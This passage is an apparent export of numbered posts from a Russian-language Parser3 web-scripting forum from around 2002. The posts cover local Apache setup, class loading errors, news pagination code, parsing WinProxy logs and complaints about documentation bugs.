10. Сохраните все открытые файлы и закройте все открытые окна браузера. Попробуйте запустить из командной строки команду [b]c:\\Program Files\\Apache Group\\Apache\\Apache.exe -t[/b] Вы должны увидеть сообщение [i]httpd.conf: Syntax OK[/i]. Если нет, apache подскажет вам, где ошибка. Скроее всего причина - в несозданной папке или опечатке.\
\
11. Запустите apache, откройте браузер и наберите в адресной строке http://www.example.ru/\
Если увидите строчку [i]Дважды два = 4[/i] - у вас всё получилось.\
\
Другие тестовые сайты на вашем компьютере организуются аналогичным образом. Если ваш сайт называется, например, iloveparser.ru создавайте локальный тестовый вариант под названием [b]beta.[/b]iloveparser.ru - это избавит вас от лишней путаницы. Создайте дополнительную папку в c:\\MyWebsites\\ , добавьте новые строки в httpd.conf и hosts, перезапустите апач - и новый локальный тестовый сайт готов.\
\
P.S. Если вы ходите в интернет через прокси, не забудьте вписать www.example.ru и другие создаваемые вами [i]локальные[/i] тестовые сайты в окно браузера \"Не использовать прокси сервер для следующих адересов: ...\"\
\
P.P.S. Если вы захотите показать ваш тестовый сайт вашему коллеге - соседу по локальной сети, добавьте ему в файл hosts строчку:\
\
[code]ваш.ip.адрес.всети www.example.ru[/code]\
\
чтобы браузер вашего друга знал, где искать ваш example.ru. Или пойдите к админу, пущай вас в dns пропишет сразу..\
\
P.P.P.S. Когда будете устанавливать parser3 на сервер провайдеру, не заливайте по ftp папки /cgi-bin/parser3 - на провайдерском сайте потребуется создать свою, под операционную систему провайдера. Но это уже отдельная песня..."
"980","Или другой даунлоад-мннеджер, который перехватывает url'ы, кончающиеся на exe, zip и т.д.."
"981","Мой хостинг стоит пять - и всё работает :)"
"983","www.kombat.ru. Контракт закончится, перееду на мастерхост - знакомые хвалят, так же недорого, и mod_rewrite включён."
"985","Тогда ничего"
"988","Ветку 1.3 не рекомендуется использовать на win xp серверах. Версии ниже 1.3.24 не рекомендуют использовать в качестве сервера на win32 платформе вообще -- в версиях 1.3.22 & 1.3.24 было исправлено много багов. ;-) И вообще, ИМХО, это глупый вопрос \"А нафига?\", он только тормозит прогресс. ;-) Чем больше свежего софта будет использоваться где бы то ни было, тем лучше. ;-) Главное, чтобы это был качественный софт. ;-)"
"990","апач 1.3, винда, localhost.\
Что лучше в данном случае: сги-приложение или модуль к апачу?\
"
"991","путь файла может быть абсолютный и относительный, поэтому, как я понимаю, например с дискеты ничего загрузить нельзя, как и с жесткого.\
Получается, что можно грузить только из коталога сайта."
"992","Кто нибудь может привести простой пример, когда xml это круто, я к примеру знаю как написать xml и dtd, вроде как все ясно,т.е. не в тупости дело, кроме одного - нафик это надо.\
Если кто-то приведет пример, что вот код , а теперь заменили пару строк в dtd, и это произвело офигенный  эффект, большое ему спасибо\
"
"993","Насколько я понял из урока 5\
[code]\
[b]test_and_post_message[/b] - проверяет, нажата ли кнопка post,...\
[/code]\
\
следующая конструкция должна проверять нажатие кнопки Submit:\
\
[code]\
<html>\
	<body>\
		<form method=\"post\">\
			Input:<input type=text value=\"test\" name=\"f1\">\
			<br>\
			<input type=\"submit\" value=\"Send\" name=\"post\">\
		</form>\
		^if(def form:post){\
			Submited<br>\
		}{\
			Not Submited<br>\
		}\
	</body>\
</html>\
[/code]\
\
В результате имею, что кнопка нажата ВСЕГДА.\
В чем тут дело?"
"995","В доке сказано:\
===\
$date.weekday   день недели (0-6)*    \
* 6 - воскресенье    \
===\
однако  в работе получается иначе:\
===\
$calloc[\
   $.dayn[ \
         $.0[пн] \
         $.1[вт] \
         $.2[ср] \
         $.3[чт] \
         $.4[пт] \
         $.5[сб] \
         $.6[вс]\
   ]       \
   $.dayr[ \
         $.1[Понедельник] \
         $.2[Вторник] \
         $.3[Среда] \
         $.4[Четверг] \
         $.5[Пятница] \
         $.6[Суббота] \
         $.0[Воскресенье] \
   ] \
] \
$today[^date::now[]] \
Сегодня $calloc.dayn.[$today.weekday]\
===\
говорит, что 9 мая -- пт,\
а вот \
===\
Сегодня $calloc.dayr.[$today.weekday]\
===\
сообщает, что 9 мая -- Четверг (как оно и есть). \
В чем м.б. дело?\
"
"996","Первый хэш начинается с нуля, второй - с единицы (неправильно)."
"997","Сел разбираться и вот что вышло: \
\
[code]$date_now[^date::now[]]\
$week[\
   $.daynames[\
         $.0[Воскресенье]\
         $.1[Понедельник]\
         $.2[Вторник]\
         $.3[Среда]\
         $.4[Четверг]\
         $.5[Пятница]\
         $.6[Суббота]\
   ]\
]\
\
<p>Сегодня ^date_now.day.format[%02d]/^date_now.month.format[%02d]/^date_now.year.format[%04d] - $week.daynames.[$date_now.weekday] </p>[/code]\
\
- выдаёт верный день недели, что под виндой, что под линуксом. Американский стандарт - неделя начинается в воскресенье.. Налицо бага в документации [code]$date.weekday   день недели (0-6)*    \
---------------------------------------------- \
* 6 - воскресенье[/code] \
"
"998","хочу загрузить все с cfg файла \
с конца :))\
и за одно - как сделать ограничение на 5 записей ?"
"1000","создал свой класс в файле test.p\
файл поместил в каталог /classes\
в глобальный parser3.conf поместил\
$CLASS_PATH[^table::create{path\
/\
/classes}]\
\
в html-файле написал:\
[code]\
@USE\
/classes/test.p\
$var[^test::load[]]\
[/code]\
\
И поимел вышеуказанную ошибку:\
[code]\
not found along MAIN:CLASS_PATH\
\
$var[^test::load[]]\
[/code]"
"1001","а может полный путь указать да и все проблемы позади ?\
[code]\
@USE/classes/test.p$var[^test::load[]]\
[/code]"
"1002","Он ориентируется на пришедший content-type.\
В общем у меня он установлен и я его юзаю.\
\
Когда я проверял работу Апача 2 у меня он был запущен..."
"1003","/classes/test.p\
[code]\
@CLASS\
test\
@load[]\
  $VAR[testing...]\
[/code]\
\
/_test.html\
[code]\
@USE\
/classes/test.p\
$var[^test::load[]]\
<html>\
  <body>\
    running...\
  </body>\
</html>\
[/code]\
\
"
"1004","имхо CGI"
"1005","Зачем указывать путь к классам а потом опять писать их при USE?\
\
Я правда вообще не описываю CLASS_PATH в виде таблицы...\
\
Пишу: $CLASS_PATH[../data/classes] (чтобы было вне веб пространства, на одном уровне с www и cgi\
\
и юзаю так:\
\
@USE\
document.p (лежит в ../data/classes/document.p)\
common/lib.p (лежит в ../data/classes/common/lib.p )\
\
"
"1006","Похоже, что сам файл test.p parser находит.\
Если я меняю название файла на test1.p ошибка изменяется:\
[code]\
not found along MAIN:CLASS_PATH\
test.p\
[/code]\
\
какая-то проблема с описанием класса или его вызовом?\
"
"1007","ладно - не будемо брать с конца -\
просто как ограничить показ записей с cfg до (допустим 5)\
и как сделать после .menu линксы на все оставшиеся записи ?\
чтоб показывать постранично ??\
- такое было на парсере2 - а вот на 3 - нету (нету next, prev...)\
- ждемс ответов :)\
"
"1009","Было бы просто замечательно, если бы можно было скачать архив с примерами из документации. В документации только примеры кодов - вырезки. Пока состыкуешь эти вырезки друг с другом - время уходит. Конечно так лучше вникаешь в особенности работы parser'а, например если после @USE поставить пробел в первой строке html-а, то получишь ошибку\
[code]\
c:/program files/apache group/apache/htdocs/_test.html(5:1): 'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
\
exception.type=parser.compile\
[/code]\
и сиди долбайся почему не работает, если ты скопировал этот кусок из документации. Сколько времени уйдет, пока заметишь, что invalid 'USE ' отличается от valid 'USE' пробелом\
\
Еще одной \"приятной\" неожиданностью стало требование Parser'а об обязательном переводе строки после последней строки html-кода:\
[code]\
c:/program files/apache group/apache/htdocs/_test.html(4:13): parse error, expecting `'\\n''\
\
exception.type=parser.compile\
[/code]\
Назначение этого требования мне непонятно, но если надо - поставим перевод строки.\
\
Parser позиционируется как движок для непрограммистов (в отличие от PHP). Ну так дайте возможность попробовать Parser в деле (архив с текстами p- и html-файлов) без дополнительного ковыряния в кодах.\
\
P.S. Если они есть, а я их не нашел по ... (сюда можно вставить причины), то предложение изменяется - поставьте ссылки на архив (-ы) на страницы с уроками."
"1010","XML -- вещь очень полезная. За подробностями -- в ФИДО есть RU.XML. \
В случае типичного сайта с гипер-структурированными данными вряд ли стоит править строчки в DTD. \
А вот один .xml-документ обрабатывать с помощью разных .xsl-преобразований -- вполне разумно. \
Но для каждого случая нужно решать отдельно, нужен ли здесь XML или нет. \
Я пользуюсь, но без фанатизма.\
Еще польза -- можно разрабатывать сколько угодно своих языков, соответствующих решаемым задачам, а обработчики для них (преобразования, показ) уже написаны и заведомо работают. Это удобно.\
ИМХО в этом основая польза от XML и производных."
"1011","\
Это, скорее -- \
\
Эффект второй системы\
(по Ф.П.Бруксу мл.)\
\
\"В своей первой работе архитектор обычно проявляет умеренность и аккуратность. \
Он знает, что он не знает того, что делает, а потому делает это тщательно и \
держит себя \"в рамках\".\
\
В процессе работы над своим первым проектом ему приходят на ум всякого рода \
находки и украшательства. Все они откладываются \"до следующего раза\". Рано или \
поздно работа над первой системой приходит к концу, и архитектор, \
преисполненный уверенности и продемонстрировавший свое мастерство на системах \
этого класса, готов заняться второй системой.\
\
Эта вторая система -- самая опасная из всех, которые когда-либо проектирует \
человек...\
\
Общая тенденция заключается в создании сверхпроекта второй системы путем \
использования всех идей и находок, от которых предусмотрительно отказались в \
первой. В результате, как сказал Овидий, получается \"большая куча\"...\"\
\
Примеры у Брукса -- IBM-709, Stretch, OS/360 (причем сам автор -- \
руководитель разработки:) \
\
Для Parser3, возможно, сложная (классовая) типизация излишня, тем паче, что\
она оказалась ограниченной (от базовых типов наследоваться нельзя, подобно\
тому, как в свое время в фортране и иже с ним нельзя было передавать\
параметрами стандартные функции, но можно было сделать их обертки и\
передавать их:), сложность со скобками ()-[]-{}, обращения ::-.-^-$,\
нестандартный синтаксис для стандартных конструкций типа хешей $a[$.[...]]\
-- нелогично, сложность в установке, пр. Очень существенно навязывание\
логики разработчиков инструментария пользователям: если поймешь, как они\
работали и для чего им это было нужно, многое существенно упрощается, но\
тогда и работать придется по их правилам. Похоже, что хотя посадку на\
Луну не программировали, но универсальная ракета-носитель (для произвольной\
планеты) все же в планах была. :) А нужен (имхо) макро-язык и средство\
упрощения выполнения стандартных обращений (как это, например, удачно\
сделано с tab-файлами и sql-запросами).\
\
Впрочем, парсер-то -- третий. И неизвестно, сколько и каких было промежуточных \
версий. А делает его одна из самых сильных и коммерчески успешных команд в \
стране. Так что это только замечания по теме. \
Продукт, конечно, сырой. И баги и ошибки в документации -- тому \
доказательство. Но инструмент неплохой, и я им пользуюсь. :|\
\
"
"1012","а остальное ?"
"1015","Вобщето метод menu  используется если надо перебрать всю таблицу. В твоем случае все решается сочетанием for + offset. А уж как ты будешь перебирать таблицу (с начала или с конца) совершенно не важно."
"1016","Я конечно, извиняюсь, но как просмотреть ветки этого форума, на которые нет ссылок с первой страницы, то есть более старые ветки?"
"1017","только выхода я не вижу в нашем положение, кроме как сидеть под 3-им парсером, что в свою очередь мне намного сложней, чем под p2  - увы, я не программист - ай эм десигнед, а было бы сдорово додумать p2 и все - был бы простой (что очень важно и полностью в p3 отсутствует) и доступный (не ябязательно быть программистом) язык... эх.."
"1018"," плюс не мешало бы делать архивы форума: месяц прошел - выкладываеться архив: удобно кады дома - ненадо всякий раз в инет лезть и по форуму шарить, конечно, если банда и алг больее о посещениях думает, то тады все ясненько.."
"1019","Все работает, не переживай.\
Если бы не работало, не стали бы так рано Парсер народу выдавать %) А ^upload[]ом грузили файлы >80 Mb. Вот."
"1020","[code]\
@CLASS\
test\
@load[]\
$VAR[testing...]\
[/code]\
\
Всю эту ерунду нужно вызывать не так:\
[color=darkred]\
$var[^test::load[]]\
[/color]\
а так:\
[color=darkgreen]\
$var[^test:load[]$test:var]\
[/color]\
либо сразу же пиши $result, что ты хочешь возвратить...\
\
По-моему так..."
"1021","ответ браузера:\
\
not found along MAIN:CLASS_PATH\
\
$var[^test:load[]$test:VAR]"
"1022",".. А архив выкладывать в SQL виде. Чтобы и в офлайне работал поиск, навигация и пр. ;)"
"1023","приведите кусок кода..."
"1024","[quote]Method1, Method2\
\
Use diffrent mechanism. Due to the enormous amount of software that monitor browser clicks, there are often conflicts that leads to undetected browser clicks. FlashGet is capable of using two different IE monitoring methods. Switch to the other method if the first one doesn't work. It's recommended you to restart the computer after doing this. Recommand use method 2[/quote]От могёт и по content-type, но по умолчанию обрабатывает ссылки по расширениям, и exe в их числе."
"1025","[b]egr[/b] и [b]Elis_aka_Mikhail[/b] (и другие пользователи net.ru)!\
\
А вы пробовали ставить 3-й парсер на net.ru ?\
А то у меня вылезла ошибка про \"parser reading files of foreign group disabled\".\
\
Пишу админам ..."
"1027","Вот это:\
$day(^if(def $form:day)	{ $form:day	} {	$now.day }\
взято из примеров.\
Запускаю, говорит:\
--\
invalid number (double)\
10\
c:/www/www1/news/index.html(13)\
exception.type=number.format body_main c:/www/www1/auto.p(68)\
body c:/www/www1/auto.p(6)\
--\
Не пойму я. Всё остальное работает. если закомментировать."
"1028","Ты забыл круглую скобку в конце, и поставил много лишних пробелов.\
Надо так:\
[code]\
$day(^if(def $form:day){$form:day}{$now.day})\
[/code]"
"1029","Есть проект, и суть его вот в чём:  есть лицей, в нём есть ученики, преподы, конференции, предметы и т.д.\
Всё это загнано в mysql и требуется сделать для базы что-то вроде пользовательского интерфейса. Т.е. ученика добавить в класс, перевести в другой, назначить препода - руководителем класса и даже печатать из  неё дипломы и грамоты на конференции. И главная тредность для меня в том. что необходимо таблицы по полям связывать. Муторно.\
Вобщем мы начали делать это всё на php. А так как проект некоммерческий, сами понимаете :) то есть возможность поэкспериментировать. Так вот, целесообразно ли для всего этого парсер использовать? Или лучше на пхп оставить?"
"1030","можно посмотреть - кусок :)\
\
как брать 5 записей \
и делать линк на оставшиеся (по 5 на каждый href )\
--------------------------\
например 20 записей берем с cfg \
после того - как мы показали 5 : делаем линки внизу (\"2\"линк это\
следующие 5 записей offseta.... и тд)\
1|\"2\"|3|4|5\
"
"1031","конечно на Парсере :))"
"1032","Есть преимущества?"
"1033","PHP — это язык программирования, требующий соответствующей подготовки. На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.\
"
"1034","надо - чтоб админы поставили группу на твои папапки на Nobody"
"1035","Если много, то и живи с ним.. Просто посчитай число дней, которые тебе потребуются на реализацию * твоя средняя дневная зарплата, и считай, перевесит ли оно то, что парсер круче php.."
"1036","Например так\
\
[code]\
## &#202;&#238;&#235;&#232;&#247;&#229;&#241;&#242;&#226;&#238; &#231;&#224;&#239;&#232;&#241;&#229;&#233; &#237;&#224; &#241;&#242;&#240;&#224;&#237;&#232;&#246;&#229;\
$pagelen(5)\
\
## &#195;&#240;&#243;&#231;&#232;&#236; &#234;&#238;&#237;&#242;&#229;&#234;&#241;&#242;\
$news[^table::load[news.cfg]]\
\
## &#207;&#240;&#238;&#239;&#243;&#241;&#234;&#224;&#229;&#236; &#239;&#229;&#240;&#226;&#251;&#229; &#231;&#224;&#239;&#232;&#241;&#232; &#231;&#224;&#239;&#232;&#241;&#232;\
^if(def $form:page){\
   ^news.offset(($form:page-1)*$pagelen)\
}\
\
## &#194;&#251;&#226;&#238;&#228;&#232;&#236; &#237;&#238;&#226;&#238;&#241;&#242;&#232;\
^for[i](1;$pagelen){\
  ^if($i <= $news){\
  <P><b>$news.title</b><br>\
     $news.body\
  ^news.offset(1)   \
  }\
}\
\
<br><br>\
\
## &#194;&#251;&#226;&#238;&#228;&#232;&#236; &#241;&#238;&#228;&#229;&#240;&#230;&#224;&#237;&#232;&#229;\
^for[i](1;$news \\ $pagelen + 1){\
  <a href=\"test.html?page=$i\">$i</a> \
}[ | ] \
\
[/code]"
"1038","[code]\
## Количество записей на странице\
$pagelen(5)\
\
## Грузим файл\
$news[^table::load[news.cfg]]\
\
## Пропускаем ненужные записи\
^if(def $form:page){\
   ^news.offset(($form:page-1)*$pagelen)\
}\
\
## Выводим новости\
^for[i](1;$pagelen){\
  ^if($i <= $news){\
  <P><b>$news.title</b><br>\
     $news.body\
  ^news.offset(1)   \
  }\
}\
\
<br><br>\
\
## Выводим содержание\
^for[i](1;$news \\ $pagelen + 1){\
  <a href=\"test.html?page=$i\">$i</a> \
}[ | ] \
\
[/code]"
"1039","Задача стоит вот какая: winproxy свои логи записывает в текстовый файл, и колонки разделяет запятыми.\
Мне нужно написать анализатор этих логов. А в таблицу загрузить можно только tab-delimited... почему такое ограничение ...\
а как быль с comma-delimited ???"
"1040","Отматчить этот файл, заменяя ; на табуляцию"
"1041","Все-да хорошо-бы, но оно должно на лету работать без руковмешательства... , или \"отматчить\" - это функция парсера ? ;)) шутка... просто я не совсем понял как это отматчить... %(("
"1042","[code]\
$flog[^file::load[text;proxy.log]]\
$log[^table::create[nameless]{^flog.text.match[\\,][g]{->}}]\
[/code]\
\
И работаешь с log как с обычной таблицей\
\
символ -> надо заменить на табуляцию"
"1043","и шутка не удачная получилась...\
таак... значит берем строку и match ее на запятые... ну и ... а в таблицу как, а файло я допустим загружу как таблицу с 1 столбцом... и потом что, формировать новую таблицу ? а не слишком ли много лишнего ? может попроще способ есть ?"
"1044","будемо - держать в курсе . thx."
"1045","не работает ... приходит только первая срочка ... а остальных нет ..."
"1048","office, -, -, N, 04/05/2002, 10:53:47, 1, -, -, 212.9.224.7:80, -, 0, 10, 865, 0, http, -, GET, http://212.9.224.7:80/pix/plashka_services.gif, image/gif, Cache, 0\
office, -, -, N, 04/05/2002, 10:53:47, 1, -, -, i.com.ua, 212.9.224.7, 80, 201, 665, 231, http, -, GET, http://212.9.224.7:80/inc/pix/content_top.jpg, -, RCache, 200\
narpos1, -, -, N, 04/05/2002, 10:53:47, 1, -, -, www.mfa.gov.ua, 195.64.225.38, 80, 281, 0, 189, http, -, GET, http://www.mfa.gov.ua/img/title_b3_a.gif, -, Unknown, 0\
office, -, -, N, 04/05/2002, 10:53:47, 1, -, -, 212.9.224.7:80, -, 0, 0, 489, 0, http, -, GET, http://212.9.224.7:80/inc/pix/bottom.jpg, image/jpeg, Cache, 0\
office, -, -, N, 04/05/2002, 10:53:47, 1, -, -, i.com.ua, 212.9.224.7, 80, 500, 4405, 222, http, -, GET, http://212.9.224.7:80/pix/bottom.jpg, -, Unknown, 404\
0.0.0.0, -, -, N, 04/05/2002, 10:53:47, 1, -, -, Register.WinProxy.com, 199.170.228.65, 80, 1412, 615, 0, 4475, -, -, -, -, Unknown, 0\
nata, -, -, N, 04/05/2002, 10:53:47, 1, -, -, www.bigmir.net, 212.82.212.222, 80, 5568, 35549, 210, http, -, GET, http://www.bigmir.net/, -, Unknown, 200\
0.0.0.0, -, -, N, 04/05/2002, 10:53:52, 1, -, -, Register.WinProxy.com, 199.170.228.65, 80, 1993, 613, 0, 4479, -, -, -, -, Unknown, 0\
narpos1, -, -, N, 04/05/2002, 10:53:54, 1, -, -, www.mfa.gov.ua, 195.64.225.38, 80, 340, 193, 291, http, -, GET, http://www.mfa.gov.ua/ie4.css, -, Unknown, 304\
narpos1, -, -, N, 04/05/2002, 10:53:53, 1, -, -, www.mfa.gov.ua, 195.64.225.38, 80, 1532, 11531, 313, http, -, GET, http://www.mfa.gov.ua/a_site.shtml, -, Unknown, 200\
\
и если не затруднит, скинь на мыло свою аську. особо не напрягу.\
"
"1049","[code]\
$flog[^file::load[text;log.cfg]]\
$log[^table::create[nameless]{^taint[as-is][^flog.text.match[\\,][g]{->}]}]\
[/code]"
"1050","Ммммдааа.... у меня p4 2.2ghz, 512 озу но оно файл, размером 1 мб уже 4 минуты считает, а все логи за месяц весят 160 мб... фигня-ссс... хреновая затея ..."
"1051","CGI Timeout\
The specified CGI application exceeded the allowed time for processing. The server has deleted the process."
"1054","А почему не пользуешься rotatelogs ???"
"1056","Вот [url=http://www.mrunix.net/webalizer/]Webalizer[/url] на голом С написан - и то на многомегабайтных логах небыстро работает.. Так что если очень хочешь делать анализ Парсером, залей свои логи в БД перловым скриптом, и уж потом делай анализ на ней..\
\
Ещё лучше - поискать специализированный анализатор логов в инете. http://www.google.com/search?q=Winproxy+log+analyzer+freeware Первый халявный вариант [url=http://www.weblogexpert.com/lite.htm]нашёлся сразу[/url] [url=http://www.proxyinspector.com/ru/]платный, но мощный[/url] - тоже.."
"1057","Кстати, ещё более года назад обещали textarea.ru открыть для этих целей. Так с места и не сдвинулись. :-(\
\
См. сообщения по теме:\
[url=http://parser2.parser.ru/forum/message_2361.html]все сами, думать!!![/url], Serge I. Zolotukhin  [13.04.2001 14:12]\
[url=http://parser2.parser.ru/forum/message_2304.html]СКОРО БУДЕТ[/url], Serge I. Zolotukhin  [10.04.2001 15:56]"
"1058","Так вроде работает - но НЕ совсем :((\
1) -как сделать -чтоб он (offset)брал записи с конца (наоборот ??)\
2) -это просто берет все поля по 5 штук - если остается 3 (допустим 23 новости) то берется 2 с самого наччала (3свежие новости  и 2 самые старые):((\
\
- Sumo - давай что-нить придумай "
"1059","Не - не помогло -\
потому, что у него (или провайдера :)) небыло возможности это сделать."
"1060","все! %;)) написал на фри паскале ! оно 150 метров за 30 сек обрабатывает !!! ну я не ожидал от парсера такой тормознутости ... там где 1 мег - он 5 минут шуршал и выдал цги еррор ...\
Буду теперь через cgi прикручивать!"
"1061","все! %;)) написал на фри паскале ! оно 150 метров за 30 сек обрабатывает !!! ну я не ожидал от парсера такой тормознутости ... там где 1 мег - он 5 минут шуршал и выдал цги еррор ...\
Буду теперь через cgi прикручивать!"
"1062","А откуда тогда такая уверенность ?\
[b]ТЫ[/b] пробовал ?\
Мне лениво Фрю ставить только для этой проверки ...\
\
Попробую в понедельник поиграться с ssh."
"1063","1) Домашнее задание: модифируй код, чтобы он с конца выдавал записи.\
Если совсем трудно с идеями, то можно сделать в файле столбик с номерами записей, а потом просто отсортировать в обратном порядке и юзать уже существующий код.\
\
2) Поправил код - теперь вроде правильно последнюю страницу обрабатывает:\
[code] \
$pagelen(5)\
\
$news[^table::load[news.cfg]]\
\
^if(def $form:page){\
   ^news.offset(($form:page-1)*$pagelen)\
}\
\
\
^if(($news \\ $pagelen + 1) == $form:page){\
   $currpagelen($news - ($pagelen * ($form:page - 1)))\
}{$currpagelen($pagelen)}\
\
^for[i](1;$currpagelen){\
  ^if($i <= $news){\
   <P><b>$news.title</b><br>\
     $news.body\
  ^news.offset(1)   \
  }\
}\
\
<br><br>\
\
^for[i](1;$news \\ $pagelen + 1){\
  <a href=\"test.html?page=$i\">$i</a> \
}[ | ] \
[/code]\
\
\
з.ы. Если у тебя возникают проблемы с такими примитивными алгоритмами, рекомендую взять книжку по любому языку программирования и почитать как работать с массивами и циклами ..."
"1064","не справился :)\
- но очень надо брать записи с конца ......\
- тут некоторые слова меня просто испугали :-0"
"1065","[code]$pagelen[/code] на [code](-$pagelen))[/code]\
оно дало почти все ок - только самая последняя запись - стала \
первой :)\
"
"1066","Есть странность:\
\
Чувствительность к пробелам при вводе операторов\
	^if(){}{}   -- работает\
	^if (){}{}  -- НЕ работает\
\
Пустые строки внутри сложных конструкций могут сделать их неработающими.\
"
"1067","Как ограничить количество ссылок на разделы сайта в строке, ну предположим до 5??? Как пустить ссылки вертикально???"
"1068","В документации про math:random:\
	^math:random(верхняя_граница)    \
	Метод возвращает псевдослучайное число, попадающее в интервал от 0 до заданного числа, не включая само число. \
	Пример использования: \
	$math:random(1000) \
	Получим псевдослучайное число из диапазона от 0 до 999. \
Так ^math:random или $math:random?\
Д.б. ^math:random.\
\
"
"1069","Про ^table.append:\
\"Пример использования: \
$stuff[^table::create{name   pos \
Alexander   boss \
Sergey     coder \
}] \
^stuff.append{Nikolay   designer} \
^stuff.save[stuff.txt] \
Пример добавит в таблицу stuff новую запись и сохранит таблицу на диске.\
При этом внутри кода примера получить значение третьего столбца добавленной\
записи нельзя, однако, его можно увидеть в файле stuff.txt.\"\
Строки, наверное?\
И почему нельзя?\
\
Таблицы -- штука полезная. \
Но почему не сделать их более полнофункциональными?\
Допускается чтение элементов таблиц, но нет записи,\
напр., есть \
\"Получение содержимого столбца \
$таблица.поле    \
Возвращает содержимое столбца поле из текущей строки таблицы. \
Пример использования: \
$tab.name \
Пример вернет значение, определенное в колонке name текущей строки таблицы. \"\
но нет \
$таблица.поле[новое_значение]\
а это было бы очень полезным.\
\
Также есть преобразование таблицы к хешу, но нет построения таблицы из хеша.\
А помогло бы. Поскольку таблицы фактически являются константами, а с хешами \
все же можно работать на запись, \
\
Хеши. Зачем метод ^хеш.count[], если количество элементов и так \
возвращается как $хеш? (или нет?)\
\
Таблицы. Метод line не описан в документации, хотя и используется там,\
например, в описании метода fields класса table.\
\
"
"1070","Даты как-то несколько неполноценны.\
Вообще, однонаправленность преобразований удивляет,\
напр., есть \
\" ^date.sql-string[] \
Метод преобразует дату к виду ГГГГ-ММ-ДД ЧЧ:ММ:СС, который принят для\
хранения дат в СУБД. Использование данного метода позволяет вносить в базы\
данных значения дат без дополнительных преобразований. \"\
Однако обратного метода нет (преобразование к формату даты), и очень жаль. \
\
"
"1071","Также есть преобразование таблицы к хешу, но нет построения таблицы из хеша.\
А помогло бы. Поскольку таблицы фактически являются константами, а с хешами \
все же можно работать на запись, \
\
Хеши. Зачем метод ^хеш.count[], если количество элементов и так \
возвращается как $хеш? (или нет?)\
\
Имена переменных. Минус (тире) в них -- явно лишняя возможность. \
Достаточно было бы иметь подчерк. А так лишние сложности и конфликты.\
\
Форматные строки -- очень ограниченны. Хотелось бы и %s, и т.п.\
"
"1074","[code]$pagelen[/code]\
на\
[code](-$pagelen))[/code]\
оно дало почти все ок - только самая последняя запись - стала \
первой :)\
сабж идет о реверсе таблицы с файла :), а то тута форум немного сдвинули...."
"1075","[quote]Таблицы -- штука полезная. \
Но почему не сделать их более полнофункциональными?[/quote] А им просто больше хэши нравятся... :-)\
"
"1076","[quote]Хеши. Зачем метод ^хеш.count[], если количество элементов и так возвращается как $хеш? (или нет?)[/quote] Как $хеш вовращается [i]сам[/i] хэш."
"1077","[quote]Метод преобразует дату к виду ГГГГ-ММ-ДД[/quote] Просто неточно в доке сказано. Правильнее - \"выводит дату в виде\". А string к дате приводить парсер и не должен - это твоя проблема разобрать строку на подстроки и преобразовать их к int"
"1078","5 ссылок в строку\
[code]\
#не долго думая, пример взят вверху этой таблицы ;)\
#Ессесно, -> это таб\
$sections[^table::create{title -> uri\
parser 2.0    -> http://parser2.parser.ru\
faq           -> /faq/\
авторы        -> /authors/\
документация  -> /doc/\
в действии    -> /powwered_by_parser/\
куда говорить -> /feedback/\
}]\
<table width=100%>\
$var(0)\
<tr>\
^sections.menu{\
  ^if($var==5){</tr><tr>$var(0)}\
  <td width=20%>\
    <a href=\"$sections.uri\">\
      $sections.title</nobr>\
    </a>\
  </td>\
  ^var.inc[]\
}\
^while($var<5){\
  <td width=20%><br></td>\
  ^var.inc[]\
}\
</tr></table>\
[/code]\
"
"1081","Хмм.. Интересно, почему сообщение не добавилось в форум? :-\\"
"1082","[code]\
$pagelen(5)\
\
$news[^table::load[news.cfg]]\
\
^if(def $form:page){\
   ^news.offset(-(($form:page-1)*$pagelen+1))\
}{^news.offset(-1)}\
\
^if(($news \\ $pagelen + 1) == $form:page){\
   $currpagelen($news - ($pagelen * ($form:page - 1)))\
}{$currpagelen($pagelen)}\
\
^for[i](1;$currpagelen){\
  ^if($i <= $news){\
   <P><b>$news.title</b><br>\
     $news.body\
  ^news.offset(-1)   \
  }\
}\
\
<br><br>\
\
^for[i](1;$news \\ $pagelen + 1){\
  <a href=\"test.html?page=$i\">$i</a> \
}[ | ] \
[/code]"
"1083","Парсер - макроязык, а посему все, что не относится к конструкциям языка кидается в выходной поток. Если ты ставишь пробелы между скобками, то возникает неоднозначная ситуация. Например:\
[code]\
  $var[^if(def $form:name) { ^form:name } { Мыкола }]\
[/code]\
\
И что в результате должно получиться? :)"
"1084","Синтаксис любого языка немного избыточен. Это нужно для обнаружения и исправления ошибок и повышения удобочитаемости. \
Иногда эту избыточность устраняют.\
Например, в парсере нет ключ. слова else, поскольку ясно, что между } и { ничего другого быть не может, а блоков {} там нет.\
Аналогично, между ^if и ( тоже ничего быть не может. Так что whitespaces между ними можно было бы удалять.\
Или описать это как фичу в доке. :)"
"1085","есть контакт :)\
да не случай за Парсер :)"
"1088","Ладно раз так - скоро сброшу Url :)"
"1090","строишь таблицу в 5 столбцов, устанавливаешь символ-заполнитель для пустых ячеек"
"1091","Сказано в доке:\
===\
Пример использования: \
$man[ \
   $.name[Вася] \
   $.age[22] \
   $.sex[m] \
] \
^man.foreach[key;value]{ \
        $key: $value \
}[<br>] \
\
Выведет на экран: \
sex: m  \
age: 22  \
name: Вася \
===\
\
Увы, не выведет.\
А вот \
        $key : $value \
            ^^ здесть пробел\
выведет...\
Неужели никто не проверил примеры из доки?\
${key} тоже сработает.\
"
"1092","Ну и что ты хочешь доказать? Документация постоянно пишется и исправляется. И делают это ребята из ALG достаточно оперативно. В конце концов это Open Source проект: нашел ошибку - сообщи разработчикам.\
\
Мне это все напоминает выход второго Парсера. Тогда тоже появилась куча народа у которых он не устанавливался, не работал и т.д. и т.п. (у меня, например, на установку Парсера больше 10-15 минут не уходило ни разу). Тем не менее сейчас народ на Парсере прекрасно работает. "
"1093","И высылай по мере накопления на mailbox@parser.ru, а не пость в этот форум - вот у меня тридцать как наберётся, я тоже вышлю... А то, что дока сырая - кто бы спорил..."
"1094","IMHO публичное обсуждение продуктивнее. \
Тем паче, что я недавно работаю на парсере, и то, что мне кажется багой, м.б. и фичей... \
Пусть другие поправят, если, конечно, знают правильный ответ. \
Например, то, что ты нашел -- хорошо бы увидеть здесь же. Потому что я, м.б., трачу драгоценные часы на обходы глюков в доках и багов в программе, а ты давно знаешь ответ, но молчишь. А так -- увидел, что здесь есть проблема, заранее учел... \
А разработчики этот форум тоже читают. Соответственно, и они видят баги. После праздников отошлю и свой список. Это же как совместная (относительно) открытая разработка, коль скоро мы допущены к обсуждению."
"1095","auto.p\
@auto[]\
